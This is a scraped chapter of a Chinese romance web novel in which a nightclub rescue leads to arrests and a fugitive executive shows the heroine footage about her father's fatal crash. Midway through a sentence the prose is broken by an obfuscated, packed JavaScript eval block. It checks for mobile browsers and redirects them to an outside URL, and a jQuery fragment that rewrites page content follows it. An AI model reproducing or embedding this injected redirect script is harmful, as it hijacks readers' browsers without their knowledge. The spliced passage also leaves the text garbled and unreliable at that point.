51.51.
作品:《荒野荆棘》 这发展可把紧张定在包厢门口的经理给吓坏了。
卫家是财神爷,顾家更是不能惹的世家。
完全是左右为难的局面。
经理再一扫包厢里,更是心惊肉跳,不仅酒水乱撒,酒瓶的碎玻璃更是砸得满地狼藉。
今天刚来的新人身上更是左边青右边紫的,嘴角还泛红有没擦净的血色。
经理不知道那是韩舒然。
但瞧着刚那一巴掌的态度,包括顾凛予现在的护短,明显,这个新人是有背景的。
完了。
这是经理的第一念头。
先别管新人什么来头了,经理抱着劝架的心思,赶忙上前。
可他还没来得及说话,卫麟光冲着顾凛予那副高高在上的不屑样儿,笑了。
纵然顾凛予身份高,家族名声旺。
今晚他卫麟光身边的可都是他两条完好的腿都打不过的混混。
卫麟光指腹轻擦嘴角,戏谑勾唇:“顾少,我没记错的话,今晚先闹事的可是你这小女友吧。撬我的门,砸我的场,我都还没计较,合着你还和她一起蹬鼻子上脸打到我脸上了是么?”
卫麟光说话一字一顿,极慢,极具威慑。
顾凛予盯着他,波澜不惊地轻笑:“你要正儿八经没惹她在乎的人,她至于扇你?卫麟光,可别怪我没提醒你——”
顾凛予忽然逼近一步,紧盯着他,低冷道:“现在护着韩舒然的,可都是警察。”
这话只有卫麟光听到了。
他脸色一变,咬牙切齿,“你什么意思?”
顾凛予淡淡挑眉,后退到方才原位,漫不经意扫视了圈包厢里的乱想,笑道:“你说呢。”
......
警车呼啸而过。
今晚国色生香都成了肃清的场儿。
顾凛予亲手报案,警方出动,包厢不仅被搜查,调监控拿捏证据,卫麟光及一伙人更是被狠手段的“聚众赌//博、酒后寻衅滋事、更勾结恶势力”的名头被押走。
被逼走时,卫麟光满怀恨意的眼神愤怒地狠狠扎在顾凛予和姜影的身上。
“我和你们没完儿!”
顾凛予根本没搭理他,转身就带着姜影,还有那个浑身是伤,生怕被人发现披了衣服一直蜷缩在墙角的韩舒然,准备离开。
但韩舒然迟迟不动。
顾凛予轻啧了一声。
本来今晚浪费和姜影独处的时间来救她,已经够烦人的。
还想怎样?
顾凛予从来对姜影以外的异性没任何耐心。
尤其是曾经有过过节的。
见韩舒然不走,顾凛予又脸色沉下,姜影几次给他使眼色让他态度好点儿,顾凛予都那副“我凭什么?救了她还要看她脸色,什么玩意儿?”的不耐烦表情。
姜影没招了。
她弯下腰,看着韩舒然,“还能走吗?”
毕竟被卫麟光他们很用力地打了,像是报复从前她对他们趾高气昂的态度。
冷调暗光下,韩舒然的眸色看不清明,但也对着姜影,浅浅地眨了下眼。
“姜影。”韩舒然轻轻开口。
“嗯?”姜影很温柔地替她抚开挡在眼前的长发。
暗光顿然渗透进她眸光。
韩舒然心脏很重地跳了下,再没了之前电话里的疏离冷漠,闭眼,深呼吸,有在强忍在喉咙的酸涩,哑道:“我这么对不起你,你为什么还要来救我?”
短暂的静默,姜影没说话。
等到韩舒然再睁眼,撞上的是早已换上笑容的少女明媚模样儿。
姜影淡笑着看她,“你搞错了,对不起我的是你爸,不是你。”
韩舒然眼睫轻颤了下。
姜影没给她更多懊悔的机会,一手捂着肚子,一手拉了下她手臂,起身道:“饿了,我们走吧,先去吃饭。”
很自然地把韩舒然带走。
也是带走后,国色生香的经理才知道他眼里看不起的新人,居然是韩亦邦的独生女。
韩亦邦从前在国色生香,可是最顶级的会员。
要不是出了那档子事儿,现在也不至于韩家落败,国色生香还要找新的顶级会员目标。
......
姜影提议去喝粥。
说是韩舒然受伤了,晚上酒又喝多了,这时候喝粥无异于是最好的选择。
顾凛予跟在她们身后淡嗤:“那我还想吃辣菜呢,对我现在消火很有帮助。”
话不轻不重,正好说给前边没眼力见儿的韩舒然听的。
以前的韩舒然肯定会呛他。
但现在立场不一样了,韩舒然也没了那些心思,只淡淡地问姜影:“去吃川菜吗?”
“吃什么川菜!”姜影臭脸回头狠狠瞪了顾凛予一下。
摆明你再说你就别去了的警告意思。
顾凛予无辜,凭什么她受了苦,就让他们都绕着她转儿?
但这种时候,不爽也只能憋在心里。
找到一家口碑不错的粥店。
姜影点了两份,一份给韩舒然的,很清淡;还有一份给顾凛予的,他喜欢海鲜。
这么对症下药,某位正在闹脾气的顾姓少爷脸色才稍稍好些。
三个人落座。
顾凛予也非要坐姜影身边,让韩舒然坐对面去才乐意。
姜影也是无语他。
韩舒然倒是见惯不惯,很自然地在姜影对面坐下。
粥很快上来。
姜影先给韩舒然盛了一碗,推到她面前,笑眯眯的:“吹几下吃,很烫。”
也许是到这一刻,韩舒然才清楚,为什么顾凛予这么个眼高于顶,手握权势,有太多人追捧的性格,会这么无可救药地喜欢偏爱姜影。
她没抬头,应声,拿起勺子不断拂过粥面,散热。
姜影问她:“你今天为什么会在那里?”
韩舒然很平静道:“韩亦邦欠国色生香钱,算在我头上。他和国色生香的不平等条约,把我签给了国色生香。”
“什么?”姜影难以置信。
顾凛予在这时淡淡道:“我已经找律师看过了,恶意串通损害第三人利益,这种阴阳合同无法律效应。”
说完,少爷还颇为淡然地喝了口粥。
“真的吗?”韩舒然眼眸亮了一瞬,也仅仅一瞬间。
顾凛予下一句冷冷清清的话直接原地哽死她。
“你这么多年书白读的?法盲?”
“......”
桌下,姜影的脚狠狠踹了下顾凛予完好的那条腿。
顾凛予吃痛,喉咙也被没吹凉的粥烫了下。
姜影眼神:就你会说话?
得。
顾凛予不提了。
反正这种场合,他保准话不投机半句多。
少爷安顿喝粥。
姜影则看向韩舒然,“所以,你这段时间都住在哪里?安全吗?”
“安全的。”
韩舒然道,“就在警局旁边,曾副局有事找我也方便。”
“那就好。”
但姜影还是有个问题,“毕竟人还没下落,你现在又实名举报他,你怎么知道他可疑行踪的?”
韩舒然道:“他现在手头没流动资金了,我妈当初给我留了一套珠宝,这些年为了以防韩亦邦做出借花献佛的行为,我给那些珠宝都加了定位器。去西城之前,我就发现我保险箱被人换了,看监控,是韩亦邦亲手换进他书房的。”
姜影突然意识到,“所以,苏美卿进到韩亦邦的书房,本想查他放在保险箱里的资料。但因为保险箱被替换了,就算她打开,也只有你的那套珠宝。”
“没错。”
韩舒然缓缓地喝粥,道,“苏美卿还以为那是韩亦邦提前要送她的生日礼物,当晚就光明正大地戴出去给韩亦邦看,正中他下怀。”
也只能说苏美卿太蠢了。
保险箱又不能自己打开。
能被她发现这套珠宝,不是她自己开的保险箱,又是怎么出现在她脖子上的?
无缘由地开他保险箱,已经踩中韩亦邦雷区。
他早就怀疑苏美卿的立场。
那晚随后的殴打、地下室拖拽也是韩舒然在家时发生的。
韩亦邦原以为韩舒然表现得忠诚,立场会是她这边的。
没想她早就联系过警局,并当晚拍摄了他殴打苏美卿的全过程,证据刚要发送出去,就被韩亦邦的人拦截。
也就有了韩舒然被打,甚至被捆着带去西城的后来那幕。
韩舒然:“现在显示,那套珠宝就在澜川,说明韩亦邦回澜川了。我原以为他会直接卷款潜逃的,不清楚他具体回来到底出于什么原因。总之,你们最近都多加小心。”
“好。”姜影点头,“你自己也是。”
喝完粥,送韩舒然回警局旁的住所。
韩舒然现在住的和曾副局一层楼。
确保她安全进门、锁门后。
顾凛予带姜影回家,但途中,就总有辆白车难缠地紧跟在他们车身之后。
顾凛予警觉。
姜影则越看,越觉得那辆白车熟悉。
是白岑虞当初第一次出现在南城医院,作为公司方慰问出事家属开的那辆白色轿车。
再定睛一看,驾驶位上的人装扮严实,都看不清脸。
但看身量,直觉是个女人。
“是白岑虞吗?”
姜影皱眉,这话刚问出来,顾凛予就告诉司机:“急刹。”
他语气够平、够稳。
司机都发现后面跟车的那辆白色轿车速度很快,像是一直咬死他们车屁股一样,要是急刹,后边不及时刹,车距过小的情况下,肯定会被追尾的。
顾凛予一个玩车的又怎么可能不知道。
他又加重音量,命令道:“我说,急刹。”
猛地一下,急刹,车内三人都因惯性向前一冲。
“嘭——!”
果不其然,后面那辆白车顶了上来。
车被追尾了。
因白车都未来得及减速,顶上来撞得很重,两辆车都向前冲了好一段。
等停稳,顾凛予瞬间抄起多年习惯性放在后座边缘的棒球棍,开门下车,还没等白车反应过来,他就迅速又是一下,棒球棍砸在驾驶车窗,把玻璃砸碎后。
够熟稔地从内锁打开车门。
短短时间,女人根本来不及调整车的档位,以至于车还在驻车制动状态下,她就被顾凛予大力扯下了车。
姜影很快走近,伸手摘下她脸上一直遮着的围巾。
白岑虞那张多时未施粉黛,苍老的脸亮于路灯之下。
看清是白岑虞后,顾凛予脸色阴戾,“你居然还敢出现?”
自从和韩亦邦撕破脸后,韩舒然递交给警方的证据里,还包括白岑虞那些肮脏事儿。
除了韩亦邦,白岑虞也因经济犯罪被警方通缉,更别提当年唐闵斐的命案,她也有横插一脚的罪状。
白岑虞却不复从前那副骄矜,而是谨慎惊惧地不停环顾四周,更像神经不太稳定地反复道:“是韩亦邦,韩亦邦追上我了,他要杀了我,求求你们救救我!我可以配合警方调查,但我不想死!”
说完,白岑虞就像水蛭一样,紧紧地缠住姜影的手,拽得她生疼。
姜影疼得皱眉。
顾凛予立刻推开她,但白岑虞就是不放手,像终于拽上救命稻草一样,紧盯着姜影,“小影,给白姨一次机会!你不就想知道上次那几条消息是谁发的吗?都是我发的!我本意也只是想约你出来告诉你点儿事情!但那些该死的警察查我太严了,我见不到你,只能用这种办法!听完那些事后,我保证,我一定会去自首!”
姜影冷冷地盯着她,“你怎么就不怕我们现在身边有警察?”
毕竟韩舒然作为关键证人,身边现在全是警察。
他们更是刚刚和她见过面。
白岑虞这时露出阴冷的笑:“不会的,这还得谢谢你们,给韩亦邦透露了韩舒然的定位,他现在有仇的报仇,还到不了你们这里。自然,警方都会聚集你们刚刚去的那个地方。”
姜影听得脸色难看,“你说什么?”
白岑虞道:“韩亦邦自从回到澜川之后,一直在找我,跟踪我。我要不是想告诉你当年的实情,根本不敢出门!你当年答应来澜川,答应接近顾凛予,不也是因为想知道你爸当年的事故原因吗?我告诉你!统统都告诉你!给我一次弥补你的机会!”
白岑虞看上去真像是疯了。
要不疯也不可能刚刚一直尾随他们。
但她说的那个事故原因,姜影的确想知道。
“你想怎么说?”姜影还是抵触地向后退。
白岑虞却死死地要拽紧她,像彻底拽紧了能让自己活命的路。
女人阴森森地笑:“跟我走,我会把证据都给你。”
白岑虞现在这样,的确让人想提防。
但她竟然给他们的地址,是顾柏青和她之前那个家的地址。
现在那栋别墅空着,顾柏青也另住别处,很久没回来过的房子,即便是在顾凛予名下,也没安排人打扫。
以至于刚走进屋,开灯,薄薄的灰尘都扬在空气里。
让人不适。
白岑虞要单独带着姜影上二楼书房,顾凛予不同意。
白岑虞指着整间房早被顾家安装上的几十处监控,苦笑道:“都到这里了,我没道理自掘坟墓,做害她的事情。”
顾凛予还是不放心。
最后是确信顾凛予这边能同时看到监控内容,除了书房被静音外,画面同步连接警局,白岑虞也料到警察很快就到的结局,置之死地般地带姜影上楼进了书房。
进书房,“咔嗒”一声,门被锁上。
姜影心一惊,但仍装作镇定地质问她:“你到底想说什么?”
“别紧张。”白岑虞瞬间没了刚才在顾凛予面前的慌张和苦涩,转而在这被监控消音的环境里,她还肆无忌惮地转身朝着监控笑着挥了挥手。
此时,正在外边盯着好几分钟之后,朝着监控挥手还笑的白岑虞,顾凛予皱了眉。
书房内的白岑虞:“这道门即便被锁上,但你放心,一旦顾凛予在监控里看到你出事了,肯定还是会冲进来的。但他一定没想到,我早就把唯独书房里的这个监控调慢了时间。”
白岑虞转身,笑得格外森冷。
姜影下意识后退了步。
但白岑虞并没想伤她,即便是监控时间调慢了,也不影响警察早就布局在别墅外,随时会冲进来扣了她的结果。
白岑虞认清结果道:“你之前不是很好奇,你爸当年为什么会出事吗?你觉得一定是我和顾柏青动了手脚,为了侵吞他的设计之类的,才做出这种恶劣的行径。但你仔细想想,我们有什么害他没命的必要?”
这时,白岑虞顺手把书房电视打开,投上了她早就准备好的视频。
姜影却没看视频上那些众人夸赞姜铭河领奖的录像,而是盯着白岑虞道:“难道不是因为你们害死了唐闵斐,需要一个顶罪的人吗?”
白岑虞的脸白了一瞬,但没两秒轻笑起来。
她眯眼,静静地盯着眼前远比几年前成熟的少女,“那最后,我们拉姜铭河出来顶罪了吗?难道不是只有些风言风语关联吗?实际唐闵斐事故的细节都被顾家封锁了,并未对外披露。那不对媒体公开的替罪羊,又有什么存在的意义呢?”
闻言,姜影僵住。
她听懂了白岑虞的逻辑,她发现自己竟然反驳不了她。
到这关头了。
白岑虞也不和她卖关子,直接把视频调整到另一个顾氏录像的画面。
录像时间,已是唐闵斐事故后。
这次,视频有了声音。
顾氏高层的办公室里,只有顾柏青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120965|193033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和姜铭河两个人。
顾柏青还是那样的西装革履,精英人士打扮,穿着最简单白衬衫黑色西裤的姜铭河则明显颓靡许多。
但举手投足,仍是姜影记忆中温润的模样。
顾柏青神色严肃地问姜铭河道:“你确定你没对小斐的车动过任何手脚吗?那为什么车还会出事?”
姜铭河局促低头,神情早已慌张错乱,“我不知道,顾总。但我真的不敢害人。我不知道你和白总以及唐总之间的私人纠葛是什么,但我真的......我真的不能害人,唐总以前对我很好——”
话直接被顾柏青的冷笑打断:“她对你很好?怎么,是我和小虞对你不好?”
“不是的。”姜铭河连连摇头。
顾柏青脸色阴沉道:“姜铭河,你现在是我手底下的人,我要你把剩下那批有问题的车都运出去,你就必须运!你现在全家上下都指望着你吃饭,你也不想出了顾氏就被行业封杀吧!”
“顾总,我......”
姜铭河为难还是惧怕,意识混乱地反问,“唐总出事开的那辆车,确定是AL系列的头百辆吗?”
“不然呢。”顾柏青敛眸,阴笑,“现在想起来你也参与了?”
“不可能啊......这不可能......”
姜铭河一直慌神地低语,“头百辆明明是问题最多的,我检查运送不可能会犯这种低级错误的......”
顾柏青像已然没了耐心,表情冷下,道:“小姜啊,有些事情,是没必要搞得太清楚的。就像你升首席工程师,不也是我一句话的事吗?你在纠结什么?你放眼看看外边办公室,难道没有和你实力不相上下的竞争对手吗?谁不是在盯着这个首席工程师的位置?但今天我挑了你来当,你就该是我最忠诚的左膀右臂,就算小斐的事故和你没关系,你也只当自己参与了。毕竟啊,我们可是同一条线的蚂蚱呢。”
最后一句话,顾柏青冷冷地笑觑着他。
姜铭河脸色都白了。
最后时刻,白岑虞进了办公室。
姜铭河抬头,和白岑虞对视。
白岑虞轻飘飘的,“小姜啊,你出去吧,我和顾总有事要说。”
姜铭河这时却像是意识到了什么,惊愕问:“白总,之前您催我签的那些文件里面,有AL系列运出国的数量和车号文件吗?”
白岑虞一秒听到了,似笑非笑:“怎么了?”
姜铭河瞬间都像站不稳了,“那岂不是唐总那辆车也在......”
白岑虞装都不装了,言简意赅道:“我催你签文件,你自己不也该检查过文件内容了吗?我以为我们是有默契的同道中人呢。”
那天签文件,白岑虞拿着笔就要姜铭河赶紧在几秒内签完。
姜铭河谨慎,说要再检查下,但白岑虞连连接电话,说订好的海外客户已经在催单了,没时间了,车必须尽快上船,海运出去。
一直到车上船,姜铭河都没明白,到底要怎样的海外客户,需要这批极大残次的测试车。
按道理,该销毁的。
但现在白岑虞这一笑,姜铭河全清楚了。
他们就是故意的,经他的手出具这套阴谋,更是他自己太过放心站队的领导层,以至于被他们恶意陷害。现在,如若真的调查起来,他们不好过,他也别想活。
姜铭河崩溃了。
他没想到自己也会是害死唐闵斐的中间一环。
姜铭河一辈子老实,兢兢业业,从不做逾矩越界的行为。
唯独这次,他陷进泥潭,终身都摆脱不了一条人命了。
顾柏青和白岑虞还都像没事人,朝着姜铭河笑,简直像吃人的魔鬼。
顾柏青甚至委以重任道:“小姜啊,马上公司安排友谊赛,你就当主力参赛吧,我和小虞都看好你。听说特等奖是一辆新上市的AL豪华款呢。你不是说女儿最近又考了年级第一,赢了,就当送小姑娘的奖励吧。”
“......”
这些话,姜铭河早已听不进去。
世界都天崩地裂。
......
......
而后电视上蓦然播放起姜铭河出事后,顾氏对车的检测以及对他驾驶全过程的重放解读。
姜影从头到尾都呆呆地看着。
无声无息地,她再次亲眼所见姜铭河的车在友谊赛中冲出护栏,起火疯狂燃烧。
解读原因,根据录像来看,很明显,就是他的故意操作失误。
耳机里的人都在喊他减速。
姜铭河却在弯道疯了一样地加速,直至冲出去,身处火海。
一旁的白岑虞目睹着姜影眼眶中兜转强忍不下的眼泪,像达成目的,暗笑按下了暂停键,面对她道:“所以你现在明白了,你父亲的确是操作失误。我想也许是从没做过坏事儿,身上背负着一条活生生,还曾经对他好过的人命,愧于良心,他选择了自杀吧。”
“......”
姜影死死握紧拳头,眼眶猩红,“白岑虞,你们为什么要逼他?”
白岑虞依然那副轻飘飘的口吻,不明所以地淡笑:“我们逼他了吗?”
“没有吗?”姜影呼吸急促。
白岑虞摇头惋惜地看着她,“难怪你年纪小还没什么阅历,如果你到了你父亲那个位置,你该清楚工作中的谨慎小心是最重要的。但你父亲连自己签字的合同看都不看内容,随心所欲地当领导签个名字,是很简单。那他也需要替他自己的错误赎罪。”
“你知道那些年,他拿了我们多少钱吗?”白岑虞冷冷道,“别人同层级一年一百万的工资,他可以拿到一年三百万;再往上一级一年只有两百万的时候,他已经拿到了四百万。甚至这些都是他自己心知肚明的。”
“姜影,职场不是上学,你以为你干干净净的父亲,早就走上了你看不见的阴暗面。站队顾柏青是他自己做的选择,那他就必须为这场站队付出代价。”
“他最后不过是阴暗没能打过良心,选择了自杀,企图用一场自己造就的车祸去结束这一切。”白岑虞越说越平静,没了讥讽,只剩凉薄,“说到底,他不过就是太懦弱罢了。”
这些话,都如尖刺的针,狠狠扎在姜影早已鲜血淋漓的心上。
“所以——”白岑虞已知自己今晚的结局,她死也不会让他们所有人好过,这就是她今晚最盛大的目的,看来已百分百达成。
女人蛇蝎恶毒地哂笑道,“你觉得顾凛予,你还配碰吗?”
“嘭——!”一声。
姜铭河那辆车冲出护栏,在冰风里陷于火海的景象不断地在姜影面前燃起。
她好像再听不到白岑虞在一旁的刺激讥笑。
转身,打开门,冷风逼入喉咙。
她眼睁睁地看着顾凛予第一时间朝她这边冲来,她却大脑充血肿胀得再站不稳,心悸、耳鸣、出汗再次如汹涌波涛一股脑儿地泛上来。
姜影踉跄得整个人都摔了下去。
顾凛予被吓坏了,疯狂地喊她名字,企图唤醒她。
可她好累啊。
这次累的,再睁不开眼睛了。
姜影意识混沌地晕了过去。
很快,警察包围了别墅,白岑虞被迅速扣押。
在被带走的前一秒,白岑虞还讥讽地抬头看着抱着姜影的顾凛予,冷笑,用全世界最恶毒的诅咒道:“你们这辈子,都别想有资格再在一起。”
“快走!”警方厉声。
白岑虞被带走了。
姜影也陷进了那场无限循环的噩梦。
她在梦里疯狂地哭泣,可这一次,像命中注定的,她再也找不到顾凛予了。
可她那颗热烈跳动的心,明明还能感受到他最炽热的爱意。
姜影无声地落泪,哭到筋疲力尽。
终于。
她还是亲眼见证着,她那个有他存在的,最华丽的少女时代黯然落幕了。

